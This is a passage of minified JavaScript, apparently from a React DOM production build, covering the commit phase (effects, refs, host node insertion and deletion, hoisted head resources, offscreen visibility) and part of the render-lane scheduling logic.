kf(e,t){switch(fu(t),t.tag){case 3:ca(Fe),Ve();break;case 26:case 27:case 5:mt(t);break;case 4:Ve();break;case 31:t.memoizedState!==null&amp;&amp;Ct(t);break;case 13:Ct(t);break;case 19:Q(Ke);break;case 10:ca(t.type);break;case 22:case 23:Ct(t),Tu(),e!==null&amp;&amp;Q(sl);break;case 24:ca(Fe)}}function wn(e,t){try{var a=t.updateQueue,l=a!==null?a.lastEffect:null;if(l!==null){var n=l.next;a=n;do{if((a.tag&amp;e)===e){l=void 0;var i=a.create,o=a.inst;l=i(),o.destroy=l}a=a.next}while(a!==n)}}catch(h){Ue(t,t.return,h)}}function Ma(e,t,a){try{var l=t.updateQueue,n=l!==null?l.lastEffect:null;if(n!==null){var i=n.next;l=i;do{if((l.tag&amp;e)===e){var o=l.inst,h=o.destroy;if(h!==void 0){o.destroy=void 0,n=t;var j=a,C=h;try{C()}catch(M){Ue(n,j,M)}}}l=l.next}while(l!==i)}}catch(M){Ue(t,t.return,M)}}function Qf(e){var t=e.updateQueue;if(t!==null){var a=e.stateNode;try{Do(t,a)}catch(l){Ue(e,e.return,l)}}}function Xf(e,t,a){a.props=ol(e.type,e.memoizedProps),a.state=e.memoizedState;try{a.componentWillUnmount()}catch(l){Ue(e,t,l)}}function Mn(e,t){try{var a=e.ref;if(a!==null){switch(e.tag){case 26:case 27:case 5:var l=e.stateNode;break;case 30:l=e.stateNode;break;default:l=e.stateNode}typeof a==&quot;function&quot;?e.refCleanup=a(l):a.current=l}}catch(n){Ue(e,t,n)}}function Pt(e,t){var a=e.ref,l=e.refCleanup;if(a!==null)if(typeof l==&quot;function&quot;)try{l()}catch(n){Ue(e,t,n)}finally{e.refCleanup=null,e=e.alternate,e!=null&amp;&amp;(e.refCleanup=null)}else if(typeof a==&quot;function&quot;)try{a(null)}catch(n){Ue(e,t,n)}else a.current=null}function Vf(e){var t=e.type,a=e.memoizedProps,l=e.stateNode;try{e:switch(t){case&quot;button&quot;:case&quot;input&quot;:case&quot;select&quot;:case&quot;textarea&quot;:a.autoFocus&amp;&amp;l.focus();break e;case&quot;img&quot;:a.src?l.src=a.src:a.srcSet&amp;&amp;(l.srcset=a.srcSet)}}catch(n){Ue(e,e.return,n)}}function nc(e,t,a){try{var l=e.stateNode;ep(l,e.type,a,t),l[ht]=t}catch(n){Ue(e,e.return,n)}}function Zf(e){return e.tag===5||e.tag===3||e.tag===26||e.tag===27&amp;&amp;Ya(e.type)||e.tag===4}function sc(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Zf(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&amp;&amp;e.tag!==6&amp;&amp;e.tag!==18;){if(e.tag===27&amp;&amp;Ya(e.type)||e.flags&amp;2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&amp;2))return e.stateNode}}function ic(e,t,a){var l=e.tag;if(l===5||l===6)e=e.stateNode,t?(a.nodeType===9?a.body:a.nodeName===&quot;HTML&quot;?a.ownerDocument.body:a).insertBefore(e,t):(t=a.nodeType===9?a.body:a.nodeName===&quot;HTML&quot;?a.ownerDocument.body:a,t.appendChild(e),a=a._reactRootContainer,a!=null||t.onclick!==null||(t.onclick=la));else if(l!==4&amp;&amp;(l===27&amp;&amp;Ya(e.type)&amp;&amp;(a=e.stateNode,t=null),e=e.child,e!==null))for(ic(e,t,a),e=e.sibling;e!==null;)ic(e,t,a),e=e.sibling}function Vs(e,t,a){var l=e.tag;if(l===5||l===6)e=e.stateNode,t?a.insertBefore(e,t):a.appendChild(e);else if(l!==4&amp;&amp;(l===27&amp;&amp;Ya(e.type)&amp;&amp;(a=e.stateNode),e=e.child,e!==null))for(Vs(e,t,a),e=e.sibling;e!==null;)Vs(e,t,a),e=e.sibling}function Jf(e){var t=e.stateNode,a=e.memoizedProps;try{for(var l=e.type,n=t.attributes;n.length;)t.removeAttributeNode(n[0]);rt(t,l,a),t[st]=e,t[ht]=a}catch(i){Ue(e,e.return,i)}}var ma=!1,Ie=!1,uc=!1,Kf=typeof WeakSet==&quot;function&quot;?WeakSet:Set,lt=null;function w0(e,t){if(e=e.containerInfo,Cc=di,e=no(e),eu(e)){if(&quot;selectionStart&quot;in e)var a={start:e.selectionStart,end:e.selectionEnd};else e:{a=(a=e.ownerDocument)&amp;&amp;a.defaultView||window;var l=a.getSelection&amp;&amp;a.getSelection();if(l&amp;&amp;l.rangeCount!==0){a=l.anchorNode;var n=l.anchorOffset,i=l.focusNode;l=l.focusOffset;try{a.nodeType,i.nodeType}catch{a=null;break e}var o=0,h=-1,j=-1,C=0,M=0,V=e,z=null;t:for(;;){for(var O;V!==a||n!==0&amp;&amp;V.nodeType!==3||(h=o+n),V!==i||l!==0&amp;&amp;V.nodeType!==3||(j=o+l),V.nodeType===3&amp;&amp;(o+=V.nodeValue.length),(O=V.firstChild)!==null;)z=V,V=O;for(;;){if(V===e)break t;if(z===a&amp;&amp;++C===n&amp;&amp;(h=o),z===i&amp;&amp;++M===l&amp;&amp;(j=o),(O=V.nextSibling)!==null)break;V=z,z=V.parentNode}V=O}a=h===-1||j===-1?null:{start:h,end:j}}else a=null}a=a||{start:0,end:0}}else a=null;for(zc={focusedElem:e,selectionRange:a},di=!1,lt=t;lt!==null;)if(t=lt,e=t.child,(t.subtreeFlags&amp;1028)!==0&amp;&amp;e!==null)e.return=t,lt=e;else for(;lt!==null;){switch(t=lt,i=t.alternate,e=t.flags,t.tag){case 0:if((e&amp;4)!==0&amp;&amp;(e=t.updateQueue,e=e!==null?e.events:null,e!==null))for(a=0;a&lt;e.length;a++)n=e[a],n.ref.impl=n.nextImpl;break;case 11:case 15:break;case 1:if((e&amp;1024)!==0&amp;&amp;i!==null){e=void 0,a=t,n=i.memoizedProps,i=i.memoizedState,l=a.stateNode;try{var se=ol(a.type,n);e=l.getSnapshotBeforeUpdate(se,i),l.__reactInternalSnapshotBeforeUpdate=e}catch(me){Ue(a,a.return,me)}}break;case 3:if((e&amp;1024)!==0){if(e=t.stateNode.containerInfo,a=e.nodeType,a===9)Dc(e);else if(a===1)switch(e.nodeName){case&quot;HEAD&quot;:case&quot;HTML&quot;:case&quot;BODY&quot;:Dc(e);break;default:e.textContent=&quot;&quot;}}break;case 5:case 26:case 27:case 6:case 4:case 17:break;default:if((e&amp;1024)!==0)throw Error(r(163))}if(e=t.sibling,e!==null){e.return=t.return,lt=e;break}lt=t.return}}function $f(e,t,a){var l=a.flags;switch(a.tag){case 0:case 11:case 15:pa(e,a),l&amp;4&amp;&amp;wn(5,a);break;case 1:if(pa(e,a),l&amp;4)if(e=a.stateNode,t===null)try{e.componentDidMount()}catch(o){Ue(a,a.return,o)}else{var n=ol(a.type,t.memoizedProps);t=t.memoizedState;try{e.componentDidUpdate(n,t,e.__reactInternalSnapshotBeforeUpdate)}catch(o){Ue(a,a.return,o)}}l&amp;64&amp;&amp;Qf(a),l&amp;512&amp;&amp;Mn(a,a.return);break;case 3:if(pa(e,a),l&amp;64&amp;&amp;(e=a.updateQueue,e!==null)){if(t=null,a.child!==null)switch(a.child.tag){case 27:case 5:t=a.child.stateNode;break;case 1:t=a.child.stateNode}try{Do(e,t)}catch(o){Ue(a,a.return,o)}}break;case 27:t===null&amp;&amp;l&amp;4&amp;&amp;Jf(a);case 26:case 5:pa(e,a),t===null&amp;&amp;l&amp;4&amp;&amp;Vf(a),l&amp;512&amp;&amp;Mn(a,a.return);break;case 12:pa(e,a);break;case 31:pa(e,a),l&amp;4&amp;&amp;Pf(e,a);break;case 13:pa(e,a),l&amp;4&amp;&amp;If(e,a),l&amp;64&amp;&amp;(e=a.memoizedState,e!==null&amp;&amp;(e=e.dehydrated,e!==null&amp;&amp;(a=k0.bind(null,a),cp(e,a))));break;case 22:if(l=a.memoizedState!==null||ma,!l){t=t!==null&amp;&amp;t.memoizedState!==null||Ie,n=ma;var i=Ie;ma=l,(Ie=t)&amp;&amp;!i?xa(e,a,(a.subtreeFlags&amp;8772)!==0):pa(e,a),ma=n,Ie=i}break;case 30:break;default:pa(e,a)}}function Ff(e){var t=e.alternate;t!==null&amp;&amp;(e.alternate=null,Ff(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&amp;&amp;(t=e.stateNode,t!==null&amp;&amp;qi(t)),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}var Qe=null,xt=!1;function ha(e,t,a){for(a=a.child;a!==null;)Wf(e,t,a),a=a.sibling}function Wf(e,t,a){if(Nt&amp;&amp;typeof Nt.onCommitFiberUnmount==&quot;function&quot;)try{Nt.onCommitFiberUnmount(ln,a)}catch{}switch(a.tag){case 26:Ie||Pt(a,t),ha(e,t,a),a.memoizedState?a.memoizedState.count--:a.stateNode&amp;&amp;(a=a.stateNode,a.parentNode.removeChild(a));break;case 27:Ie||Pt(a,t);var l=Qe,n=xt;Ya(a.type)&amp;&amp;(Qe=a.stateNode,xt=!1),ha(e,t,a),Qn(a.stateNode),Qe=l,xt=n;break;case 5:Ie||Pt(a,t);case 6:if(l=Qe,n=xt,Qe=null,ha(e,t,a),Qe=l,xt=n,Qe!==null)if(xt)try{(Qe.nodeType===9?Qe.body:Qe.nodeName===&quot;HTML&quot;?Qe.ownerDocument.body:Qe).removeChild(a.stateNode)}catch(i){Ue(a,t,i)}else try{Qe.removeChild(a.stateNode)}catch(i){Ue(a,t,i)}break;case 18:Qe!==null&amp;&amp;(xt?(e=Qe,Qd(e.nodeType===9?e.body:e.nodeName===&quot;HTML&quot;?e.ownerDocument.body:e,a.stateNode),Wl(e)):Qd(Qe,a.stateNode));break;case 4:l=Qe,n=xt,Qe=a.stateNode.containerInfo,xt=!0,ha(e,t,a),Qe=l,xt=n;break;case 0:case 11:case 14:case 15:Ma(2,a,t),Ie||Ma(4,a,t),ha(e,t,a);break;case 1:Ie||(Pt(a,t),l=a.stateNode,typeof l.componentWillUnmount==&quot;function&quot;&amp;&amp;Xf(a,t,l)),ha(e,t,a);break;case 21:ha(e,t,a);break;case 22:Ie=(l=Ie)||a.memoizedState!==null,ha(e,t,a),Ie=l;break;default:ha(e,t,a)}}function Pf(e,t){if(t.memoizedState===null&amp;&amp;(e=t.alternate,e!==null&amp;&amp;(e=e.memoizedState,e!==null))){e=e.dehydrated;try{Wl(e)}catch(a){Ue(t,t.return,a)}}}function If(e,t){if(t.memoizedState===null&amp;&amp;(e=t.alternate,e!==null&amp;&amp;(e=e.memoizedState,e!==null&amp;&amp;(e=e.dehydrated,e!==null))))try{Wl(e)}catch(a){Ue(t,t.return,a)}}function M0(e){switch(e.tag){case 31:case 13:case 19:var t=e.stateNode;return t===null&amp;&amp;(t=e.stateNode=new Kf),t;case 22:return e=e.stateNode,t=e._retryCache,t===null&amp;&amp;(t=e._retryCache=new Kf),t;default:throw Error(r(435,e.tag))}}function Zs(e,t){var a=M0(e);t.forEach(function(l){if(!a.has(l)){a.add(l);var n=Q0.bind(null,e,l);l.then(n,n)}})}function vt(e,t){var a=t.deletions;if(a!==null)for(var l=0;l&lt;a.length;l++){var n=a[l],i=e,o=t,h=o;e:for(;h!==null;){switch(h.tag){case 27:if(Ya(h.type)){Qe=h.stateNode,xt=!1;break e}break;case 5:Qe=h.stateNode,xt=!1;break e;case 3:case 4:Qe=h.stateNode.containerInfo,xt=!0;break e}h=h.return}if(Qe===null)throw Error(r(160));Wf(i,o,n),Qe=null,xt=!1,i=n.alternate,i!==null&amp;&amp;(i.return=null),n.return=null}if(t.subtreeFlags&amp;13886)for(t=t.child;t!==null;)ed(t,e),t=t.sibling}var Zt=null;function ed(e,t){var a=e.alternate,l=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:vt(t,e),yt(e),l&amp;4&amp;&amp;(Ma(3,e,e.return),wn(3,e),Ma(5,e,e.return));break;case 1:vt(t,e),yt(e),l&amp;512&amp;&amp;(Ie||a===null||Pt(a,a.return)),l&amp;64&amp;&amp;ma&amp;&amp;(e=e.updateQueue,e!==null&amp;&amp;(l=e.callbacks,l!==null&amp;&amp;(a=e.shared.hiddenCallbacks,e.shared.hiddenCallbacks=a===null?l:a.concat(l))));break;case 26:var n=Zt;if(vt(t,e),yt(e),l&amp;512&amp;&amp;(Ie||a===null||Pt(a,a.return)),l&amp;4){var i=a!==null?a.memoizedState:null;if(l=e.memoizedState,a===null)if(l===null)if(e.stateNode===null){e:{l=e.type,a=e.memoizedProps,n=n.ownerDocument||n;t:switch(l){case&quot;title&quot;:i=n.getElementsByTagName(&quot;title&quot;)[0],(!i||i[un]||i[st]||i.namespaceURI===&quot;http://www.w3.org/2000/svg&quot;||i.hasAttribute(&quot;itemprop&quot;))&amp;&amp;(i=n.createElement(l),n.head.insertBefore(i,n.querySelector(&quot;head &gt; title&quot;))),rt(i,l,a),i[st]=e,at(i),l=i;break e;case&quot;link&quot;:var o=em(&quot;link&quot;,&quot;href&quot;,n).get(l+(a.href||&quot;&quot;));if(o){for(var h=0;h&lt;o.length;h++)if(i=o[h],i.getAttribute(&quot;href&quot;)===(a.href==null||a.href===&quot;&quot;?null:a.href)&amp;&amp;i.getAttribute(&quot;rel&quot;)===(a.rel==null?null:a.rel)&amp;&amp;i.getAttribute(&quot;title&quot;)===(a.title==null?null:a.title)&amp;&amp;i.getAttribute(&quot;crossorigin&quot;)===(a.crossOrigin==null?null:a.crossOrigin)){o.splice(h,1);break t}}i=n.createElement(l),rt(i,l,a),n.head.appendChild(i);break;case&quot;meta&quot;:if(o=em(&quot;meta&quot;,&quot;content&quot;,n).get(l+(a.content||&quot;&quot;))){for(h=0;h&lt;o.length;h++)if(i=o[h],i.getAttribute(&quot;content&quot;)===(a.content==null?null:&quot;&quot;+a.content)&amp;&amp;i.getAttribute(&quot;name&quot;)===(a.name==null?null:a.name)&amp;&amp;i.getAttribute(&quot;property&quot;)===(a.property==null?null:a.property)&amp;&amp;i.getAttribute(&quot;http-equiv&quot;)===(a.httpEquiv==null?null:a.httpEquiv)&amp;&amp;i.getAttribute(&quot;charset&quot;)===(a.charSet==null?null:a.charSet)){o.splice(h,1);break t}}i=n.createElement(l),rt(i,l,a),n.head.appendChild(i);break;default:throw Error(r(468,l))}i[st]=e,at(i),l=i}e.stateNode=l}else tm(n,e.type,e.stateNode);else e.stateNode=Id(n,l,e.memoizedProps);else i!==l?(i===null?a.stateNode!==null&amp;&amp;(a=a.stateNode,a.parentNode.removeChild(a)):i.count--,l===null?tm(n,e.type,e.stateNode):Id(n,l,e.memoizedProps)):l===null&amp;&amp;e.stateNode!==null&amp;&amp;nc(e,e.memoizedProps,a.memoizedProps)}break;case 27:vt(t,e),yt(e),l&amp;512&amp;&amp;(Ie||a===null||Pt(a,a.return)),a!==null&amp;&amp;l&amp;4&amp;&amp;nc(e,e.memoizedProps,a.memoizedProps);break;case 5:if(vt(t,e),yt(e),l&amp;512&amp;&amp;(Ie||a===null||Pt(a,a.return)),e.flags&amp;32){n=e.stateNode;try{bl(n,&quot;&quot;)}catch(se){Ue(e,e.return,se)}}l&amp;4&amp;&amp;e.stateNode!=null&amp;&amp;(n=e.memoizedProps,nc(e,n,a!==null?a.memoizedProps:n)),l&amp;1024&amp;&amp;(uc=!0);break;case 6:if(vt(t,e),yt(e),l&amp;4){if(e.stateNode===null)throw Error(r(162));l=e.memoizedProps,a=e.stateNode;try{a.nodeValue=l}catch(se){Ue(e,e.return,se)}}break;case 3:if(ci=null,n=Zt,Zt=ii(t.containerInfo),vt(t,e),Zt=n,yt(e),l&amp;4&amp;&amp;a!==null&amp;&amp;a.memoizedState.isDehydrated)try{Wl(t.containerInfo)}catch(se){Ue(e,e.return,se)}uc&amp;&amp;(uc=!1,td(e));break;case 4:l=Zt,Zt=ii(e.stateNode.containerInfo),vt(t,e),yt(e),Zt=l;break;case 12:vt(t,e),yt(e);break;case 31:vt(t,e),yt(e),l&amp;4&amp;&amp;(l=e.updateQueue,l!==null&amp;&amp;(e.updateQueue=null,Zs(e,l)));break;case 13:vt(t,e),yt(e),e.child.flags&amp;8192&amp;&amp;e.memoizedState!==null!=(a!==null&amp;&amp;a.memoizedState!==null)&amp;&amp;(Ks=St()),l&amp;4&amp;&amp;(l=e.updateQueue,l!==null&amp;&amp;(e.updateQueue=null,Zs(e,l)));break;case 22:n=e.memoizedState!==null;var j=a!==null&amp;&amp;a.memoizedState!==null,C=ma,M=Ie;if(ma=C||n,Ie=M||j,vt(t,e),Ie=M,ma=C,yt(e),l&amp;8192)e:for(t=e.stateNode,t._visibility=n?t._visibility&amp;-2:t._visibility|1,n&amp;&amp;(a===null||j||ma||Ie||fl(e)),a=null,t=e;;){if(t.tag===5||t.tag===26){if(a===null){j=a=t;try{if(i=j.stateNode,n)o=i.style,typeof o.setProperty==&quot;function&quot;?o.setProperty(&quot;display&quot;,&quot;none&quot;,&quot;important&quot;):o.display=&quot;none&quot;;else{h=j.stateNode;var V=j.memoizedProps.style,z=V!=null&amp;&amp;V.hasOwnProperty(&quot;display&quot;)?V.display:null;h.style.display=z==null||typeof z==&quot;boolean&quot;?&quot;&quot;:(&quot;&quot;+z).trim()}}catch(se){Ue(j,j.return,se)}}}else if(t.tag===6){if(a===null){j=t;try{j.stateNode.nodeValue=n?&quot;&quot;:j.memoizedProps}catch(se){Ue(j,j.return,se)}}}else if(t.tag===18){if(a===null){j=t;try{var O=j.stateNode;n?Xd(O,!0):Xd(j.stateNode,!1)}catch(se){Ue(j,j.return,se)}}}else if((t.tag!==22&amp;&amp;t.tag!==23||t.memoizedState===null||t===e)&amp;&amp;t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break e;for(;t.sibling===null;){if(t.return===null||t.return===e)break e;a===t&amp;&amp;(a=null),t=t.return}a===t&amp;&amp;(a=null),t.sibling.return=t.return,t=t.sibling}l&amp;4&amp;&amp;(l=e.updateQueue,l!==null&amp;&amp;(a=l.retryQueue,a!==null&amp;&amp;(l.retryQueue=null,Zs(e,a))));break;case 19:vt(t,e),yt(e),l&amp;4&amp;&amp;(l=e.updateQueue,l!==null&amp;&amp;(e.updateQueue=null,Zs(e,l)));break;case 30:break;case 21:break;default:vt(t,e),yt(e)}}function yt(e){var t=e.flags;if(t&amp;2){try{for(var a,l=e.return;l!==null;){if(Zf(l)){a=l;break}l=l.return}if(a==null)throw Error(r(160));switch(a.tag){case 27:var n=a.stateNode,i=sc(e);Vs(e,i,n);break;case 5:var o=a.stateNode;a.flags&amp;32&amp;&amp;(bl(o,&quot;&quot;),a.flags&amp;=-33);var h=sc(e);Vs(e,h,o);break;case 3:case 4:var j=a.stateNode.containerInfo,C=sc(e);ic(e,C,j);break;default:throw Error(r(161))}}catch(M){Ue(e,e.return,M)}e.flags&amp;=-3}t&amp;4096&amp;&amp;(e.flags&amp;=-4097)}function td(e){if(e.subtreeFlags&amp;1024)for(e=e.child;e!==null;){var t=e;td(t),t.tag===5&amp;&amp;t.flags&amp;1024&amp;&amp;t.stateNode.reset(),e=e.sibling}}function pa(e,t){if(t.subtreeFlags&amp;8772)for(t=t.child;t!==null;)$f(e,t.alternate,t),t=t.sibling}function fl(e){for(e=e.child;e!==null;){var t=e;switch(t.tag){case 0:case 11:case 14:case 15:Ma(4,t,t.return),fl(t);break;case 1:Pt(t,t.return);var a=t.stateNode;typeof a.componentWillUnmount==&quot;function&quot;&amp;&amp;Xf(t,t.return,a),fl(t);break;case 27:Qn(t.stateNode);case 26:case 5:Pt(t,t.return),fl(t);break;case 22:t.memoizedState===null&amp;&amp;fl(t);break;case 30:fl(t);break;default:fl(t)}e=e.sibling}}function xa(e,t,a){for(a=a&amp;&amp;(t.subtreeFlags&amp;8772)!==0,t=t.child;t!==null;){var l=t.alternate,n=e,i=t,o=i.flags;switch(i.tag){case 0:case 11:case 15:xa(n,i,a),wn(4,i);break;case 1:if(xa(n,i,a),l=i,n=l.stateNode,typeof n.componentDidMount==&quot;function&quot;)try{n.componentDidMount()}catch(C){Ue(l,l.return,C)}if(l=i,n=l.updateQueue,n!==null){var h=l.stateNode;try{var j=n.shared.hiddenCallbacks;if(j!==null)for(n.shared.hiddenCallbacks=null,n=0;n&lt;j.length;n++)Oo(j[n],h)}catch(C){Ue(l,l.return,C)}}a&amp;&amp;o&amp;64&amp;&amp;Qf(i),Mn(i,i.return);break;case 27:Jf(i);case 26:case 5:xa(n,i,a),a&amp;&amp;l===null&amp;&amp;o&amp;4&amp;&amp;Vf(i),Mn(i,i.return);break;case 12:xa(n,i,a);break;case 31:xa(n,i,a),a&amp;&amp;o&amp;4&amp;&amp;Pf(n,i);break;case 13:xa(n,i,a),a&amp;&amp;o&amp;4&amp;&amp;If(n,i);break;case 22:i.memoizedState===null&amp;&amp;xa(n,i,a),Mn(i,i.return);break;case 30:break;default:xa(n,i,a)}t=t.sibling}}function cc(e,t){var a=null;e!==null&amp;&amp;e.memoizedState!==null&amp;&amp;e.memoizedState.cachePool!==null&amp;&amp;(a=e.memoizedState.cachePool.pool),e=null,t.memoizedState!==null&amp;&amp;t.memoizedState.cachePool!==null&amp;&amp;(e=t.memoizedState.cachePool.pool),e!==a&amp;&amp;(e!=null&amp;&amp;e.refCount++,a!=null&amp;&amp;bn(a))}function rc(e,t){e=null,t.alternate!==null&amp;&amp;(e=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==e&amp;&amp;(t.refCount++,e!=null&amp;&amp;bn(e))}function Jt(e,t,a,l){if(t.subtreeFlags&amp;10256)for(t=t.child;t!==null;)ad(e,t,a,l),t=t.sibling}function ad(e,t,a,l){var n=t.flags;switch(t.tag){case 0:case 11:case 15:Jt(e,t,a,l),n&amp;2048&amp;&amp;wn(9,t);break;case 1:Jt(e,t,a,l);break;case 3:Jt(e,t,a,l),n&amp;2048&amp;&amp;(e=null,t.alternate!==null&amp;&amp;(e=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==e&amp;&amp;(t.refCount++,e!=null&amp;&amp;bn(e)));break;case 12:if(n&amp;2048){Jt(e,t,a,l),e=t.stateNode;try{var i=t.memoizedProps,o=i.id,h=i.onPostCommit;typeof h==&quot;function&quot;&amp;&amp;h(o,t.alternate===null?&quot;mount&quot;:&quot;update&quot;,e.passiveEffectDuration,-0)}catch(j){Ue(t,t.return,j)}}else Jt(e,t,a,l);break;case 31:Jt(e,t,a,l);break;case 13:Jt(e,t,a,l);break;case 23:break;case 22:i=t.stateNode,o=t.alternate,t.memoizedState!==null?i._visibility&amp;2?Jt(e,t,a,l):Un(e,t):i._visibility&amp;2?Jt(e,t,a,l):(i._visibility|=2,Gl(e,t,a,l,(t.subtreeFlags&amp;10256)!==0||!1)),n&amp;2048&amp;&amp;cc(o,t);break;case 24:Jt(e,t,a,l),n&amp;2048&amp;&amp;rc(t.alternate,t);break;default:Jt(e,t,a,l)}}function Gl(e,t,a,l,n){for(n=n&amp;&amp;((t.subtreeFlags&amp;10256)!==0||!1),t=t.child;t!==null;){var i=e,o=t,h=a,j=l,C=o.flags;switch(o.tag){case 0:case 11:case 15:Gl(i,o,h,j,n),wn(8,o);break;case 23:break;case 22:var M=o.stateNode;o.memoizedState!==null?M._visibility&amp;2?Gl(i,o,h,j,n):Un(i,o):(M._visibility|=2,Gl(i,o,h,j,n)),n&amp;&amp;C&amp;2048&amp;&amp;cc(o.alternate,o);break;case 24:Gl(i,o,h,j,n),n&amp;&amp;C&amp;2048&amp;&amp;rc(o.alternate,o);break;default:Gl(i,o,h,j,n)}t=t.sibling}}function Un(e,t){if(t.subtreeFlags&amp;10256)for(t=t.child;t!==null;){var a=e,l=t,n=l.flags;switch(l.tag){case 22:Un(a,l),n&amp;2048&amp;&amp;cc(l.alternate,l);break;case 24:Un(a,l),n&amp;2048&amp;&amp;rc(l.alternate,l);break;default:Un(a,l)}t=t.sibling}}var Hn=8192;function Yl(e,t,a){if(e.subtreeFlags&amp;Hn)for(e=e.child;e!==null;)ld(e,t,a),e=e.sibling}function ld(e,t,a){switch(e.tag){case 26:Yl(e,t,a),e.flags&amp;Hn&amp;&amp;e.memoizedState!==null&amp;&amp;bp(a,Zt,e.memoizedState,e.memoizedProps);break;case 5:Yl(e,t,a);break;case 3:case 4:var l=Zt;Zt=ii(e.stateNode.containerInfo),Yl(e,t,a),Zt=l;break;case 22:e.memoizedState===null&amp;&amp;(l=e.alternate,l!==null&amp;&amp;l.memoizedState!==null?(l=Hn,Hn=16777216,Yl(e,t,a),Hn=l):Yl(e,t,a));break;default:Yl(e,t,a)}}function nd(e){var t=e.alternate;if(t!==null&amp;&amp;(e=t.child,e!==null)){t.child=null;do t=e.sibling,e.sibling=null,e=t;while(e!==null)}}function qn(e){var t=e.deletions;if((e.flags&amp;16)!==0){if(t!==null)for(var a=0;a&lt;t.length;a++){var l=t[a];lt=l,id(l,e)}nd(e)}if(e.subtreeFlags&amp;10256)for(e=e.child;e!==null;)sd(e),e=e.sibling}function sd(e){switch(e.tag){case 0:case 11:case 15:qn(e),e.flags&amp;2048&amp;&amp;Ma(9,e,e.return);break;case 3:qn(e);break;case 12:qn(e);break;case 22:var t=e.stateNode;e.memoizedState!==null&amp;&amp;t._visibility&amp;2&amp;&amp;(e.return===null||e.return.tag!==13)?(t._visibility&amp;=-3,Js(e)):qn(e);break;default:qn(e)}}function Js(e){var t=e.deletions;if((e.flags&amp;16)!==0){if(t!==null)for(var a=0;a&lt;t.length;a++){var l=t[a];lt=l,id(l,e)}nd(e)}for(e=e.child;e!==null;){switch(t=e,t.tag){case 0:case 11:case 15:Ma(8,t,t.return),Js(t);break;case 22:a=t.stateNode,a._visibility&amp;2&amp;&amp;(a._visibility&amp;=-3,Js(t));break;default:Js(t)}e=e.sibling}}function id(e,t){for(;lt!==null;){var a=lt;switch(a.tag){case 0:case 11:case 15:Ma(8,a,t);break;case 23:case 22:if(a.memoizedState!==null&amp;&amp;a.memoizedState.cachePool!==null){var l=a.memoizedState.cachePool.pool;l!=null&amp;&amp;l.refCount++}break;case 24:bn(a.memoizedState.cache)}if(l=a.child,l!==null)l.return=a,lt=l;else e:for(a=e;lt!==null;){l=lt;var n=l.sibling,i=l.return;if(Ff(l),l===a){lt=null;break e}if(n!==null){n.return=i,lt=n;break e}lt=i}}}var U0={getCacheForType:function(e){var t=ut(Fe),a=t.data.get(e);return a===void 0&amp;&amp;(a=e(),t.data.set(e,a)),a},cacheSignal:function(){return ut(Fe).controller.signal}},H0=typeof WeakMap==&quot;function&quot;?WeakMap:Map,De=0,Le=null,Ne=null,Te=0,Me=0,zt=null,Ua=!1,kl=!1,oc=!1,va=0,Je=0,Ha=0,dl=0,fc=0,Rt=0,Ql=0,Bn=null,gt=null,dc=!1,Ks=0,ud=0,$s=1/0,Fs=null,qa=null,tt=0,Ba=null,Xl=null,ya=0,mc=0,hc=null,cd=null,Ln=0,pc=null;function Ot(){return(De&amp;2)!==0&amp;&amp;Te!==0?Te&amp;-Te:D.T!==null?jc():Sr()}function rd(){if(Rt===0)if((Te&amp;536870912)===0||Ce){var e=ns;ns&lt;&lt;=1,(ns&amp;3932160)===0&amp;&amp;(ns=262144),Rt=e}else Rt=536870912;return e=At.current,e!==null&amp;&amp;(e.flags|=32),Rt}function bt(e,t,a){(e===Le&amp;&amp;(Me===2||Me===9)||e.cancelPendingCommit!==null)&amp;&amp;(Vl(e,0),La(e,Te,Rt,!1)),sn(e,a),((De&amp;2)===0||e!==Le)&amp;&amp;(e===Le&amp;&amp;((De&amp;2)===0&amp;&amp;(dl|=a),Je===4&amp;&amp;La(e,Te,Rt,!1)),It(e))}function od(e,t,a){if((De&amp;6)!==0)throw Error(r(327));var l=!a&amp;&amp;(t&amp;127)===0&amp;&amp;(t&amp;e.expiredLanes)===0||nn(e,t),n=l?L0(e,t):vc(e,t,!0),i=l;do{if(n===0){kl&amp;&amp;!l&amp;&amp;La(e,t,0,!1);break}else{if(a=e.current.alternate,i&amp;&amp;!q0(a)){n=vc(e,t,!1),i=!1;continue}if(n===2){if(i=t,e.errorRecoveryDisabledLanes&amp;i)var o=0;else o=e.pendingLanes&amp;-536870913,o=o!==0?o:o&amp;536870912?536870912:0;if(o!==0){t=o;e:{var h=e;n=Bn;var j=h.current.memoizedState.isDehydrated;if(j&amp;&amp;(Vl(h,o).flags|=256),o=vc(h,o,!1),o!==2){if(oc&amp;&amp;!j){h.errorRecoveryDisabledLanes|=i,dl|=i,n=4;break e}i=gt,gt=n,i!==null&amp;&amp;(gt===null?gt=i:gt.push.apply(gt,i))}n=o}if(i=!1,n!==2)continue}}if(n===1){Vl(e,0),La(e,t,0,!0);break}e:{switch(l=e,i=n,i){case 0:case 1:throw Error(r(345));case 4:if((t&amp;4194048)!==t)break;case 6:La(l,t,Rt,!Ua);break e;case 2:gt=null;break;case 3:case 5:break;default:throw Error(r(329))}if((t&amp;62914560)===t&amp;&amp;(n=Ks+300-St(),10&lt;n)){if(La(l,t,Rt,!Ua),is(l,0,!0)!==0)break e;ya=t,l.timeoutHandle=Yd(fd.bind(null,l,a,gt,Fs,dc,t,Rt,dl,Ql,Ua,i,&quot;Throttled&quot;,-0,0),n);break e}fd(l,a,gt,Fs,dc,t,Rt,dl,Ql,Ua,i,null,-0,0)}}break}while(!0);It(e)}function fd(e,t,a,l,n,i,o,h,j,C,M,V,z,O){if(e.timeoutHandle=-1,V=t.subtreeFlags,V&amp;8192||(V&amp;16785408)===16785408){V={stylesheets:null,count:0,imgCount:0,imgBytes:0,suspenseyImages:[],waitingForImages:!0,waitingForViewTransition:!1,unsuspend:la},ld(t,i,V);var 